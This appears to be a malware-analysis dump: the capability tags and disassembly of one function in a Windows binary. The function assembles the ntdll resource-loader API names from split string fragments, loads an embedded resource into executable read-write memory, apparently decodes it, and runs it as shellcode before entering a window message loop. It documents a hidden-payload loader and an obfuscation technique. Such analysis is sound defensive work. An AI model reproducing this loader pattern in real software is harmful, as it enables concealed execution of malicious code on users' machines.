Function at 0x402ba0
Capabilities:
Allocate or change rwx memory
Create directory
Execute shellcode via indirect call

Disassembly:
sub esp, 0x1a8
mov eax, dword [0x407018]
xor eax, esp
mov dword [esp + 0x1a4], eax
push edi
mov edi, dword [esp + 0x1b0]
push 0
push str.C:WindowsMicrosoft.NET
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x402be7
xor eax, eax
pop edi
mov ecx, dword [esp + 0x1a4]
xor ecx, esp
call fcn.0040377c
add esp, 0x1a8
ret 0x10
push ebx
push esi
push str.LdrFin
lea ecx, [esp + 0xf0]
mov dword [esp + 0x18], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x20], 0xa
mov dword [esp + 0x24], 0x1e55
mov dword [esp + 0x28], 0x407
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
push str.dReso
lea ecx, [esp + 0xb8]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
push str.urce_U
lea ecx, [esp + 0x9c]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
mov esi, dword [sym.imp.MSVCP90.dll_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_std::operator_char__struct_std::char_traits_char___class_std::allocator_char___class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
lea eax, [esp + 0x98]
push eax
lea ecx, [esp + 0xb8]
push ecx
lea edx, [esp + 0xf4]
push edx
lea eax, [esp + 0x34]
push eax
call esi
add esp, 0xc
push eax
lea ecx, [esp + 0x19c]
push ecx
call esi
add esp, 0xc
lea ecx, [esp + 0x28]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
push 0x40537c
lea ecx, [esp + 0x10c]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
push str.Acces
lea ecx, [esp + 0x160]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
push str.sResource
lea ecx, [esp + 0xd4]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
lea edx, [esp + 0xd0]
push edx
lea eax, [esp + 0x160]
push eax
lea ecx, [esp + 0x110]
push ecx
lea edx, [esp + 0x34]
push edx
call esi
add esp, 0xc
push eax
lea eax, [esp + 0x180]
push eax
call esi
add esp, 0xc
lea ecx, [esp + 0x28]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.LdrAcce
lea ecx, [esp + 0x80]
mov ebx, eax
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
push str.ssReso
lea ecx, [esp + 0x144]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
push str.urce
lea ecx, [esp + 0x128]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
lea ecx, [esp + 0x124]
push ecx
lea edx, [esp + 0x144]
push edx
lea eax, [esp + 0x84]
push eax
lea ecx, [esp + 0x34]
push ecx
call esi
add esp, 0xc
push eax
lea edx, [esp + 0x68]
push edx
call esi
add esp, 0xc
lea ecx, [esp + 0x28]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.LdrFindResource_U
push ebx
call esi
cmp dword [esp + 0x78], 0x10
mov dword [0x407470], eax
mov eax, dword [esp + 0x64]
jae 0x402d93
lea eax, [esp + 0x64]
push eax
push ebx
call esi
mov dword [0x407474], eax
lea eax, [esp + 0x18]
push eax
push 3
lea ecx, [esp + 0x24]
push ecx
push 0x400000
call dword [0x407470]
test eax, eax
jl 0x402dd1
mov ecx, dword [esp + 0x18]
lea edx, [esp + 0xc]
push edx
lea eax, [esp + 0x18]
push eax
push ecx
push 0x400000
call dword [0x407474]
mov edx, dword [esp + 0xc]
push 0x40
push 0x1000
push edx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [esp + 0x14]
mov esi, eax
mov eax, dword [esp + 0xc]
push eax
push ecx
push esi
call sub.MSVCR90.dll_memcpy
lea eax, [esp + 0x1c]
call fcn.00402800
mov eax, dword [esp + 0x18]
lea edx, [esp + 0x1c]
push edx
push eax
push esi
call fcn.00402890
add esp, 0x18
call esi
mov esi, dword [sym.imp.USER32.dll_LoadStringA]
push 0x64
push 0x407408
push 0x67
push edi
call esi
push 0x64
push 0x407478
push 0x68
push edi
call esi
mov eax, edi
call fcn.00402ff0
mov ecx, dword [esp + 0x1c4]
push ecx
mov eax, edi
call fcn.00403090
add esp, 4
test eax, eax
jne 0x402ef1
lea ecx, [esp + 0x60]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [esp + 0x124]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [esp + 0x140]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [esp + 0x7c]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [esp + 0x178]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [esp + 0xd0]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [esp + 0x15c]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [esp + 0x108]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [esp + 0x194]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [esp + 0x98]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [esp + 0xb4]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [esp + 0xec]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
xor eax, eax
jmp 0x402fcf
mov esi, dword [sym.imp.USER32.dll_GetMessageA]
push 0
push 0
push 0
lea edx, [esp + 0x50]
push edx
call esi
test eax, eax
je 0x402f33
mov edi, dword [sym.imp.USER32.dll_TranslateMessage]
mov ebx, dword [sym.imp.USER32.dll_DispatchMessageA]
lea eax, [esp + 0x44]
push eax
call edi
lea ecx, [esp + 0x44]
push ecx
call ebx
push 0
push 0
push 0
lea edx, [esp + 0x50]
push edx
call esi
test eax, eax
jne 0x402f14
mov esi, dword [esp + 0x4c]
lea ecx, [esp + 0x60]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [esp + 0x124]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [esp + 0x140]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [esp + 0x7c]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [esp + 0x178]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [esp + 0xd0]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [esp + 0x15c]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [esp + 0x108]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [esp + 0x194]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [esp + 0x98]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [esp + 0xb4]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [esp + 0xec]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov eax, esi
mov ecx, dword [esp + 0x1b0]
pop esi
pop ebx
pop edi
xor ecx, esp
call fcn.0040377c
add esp, 0x1a8
ret 0x10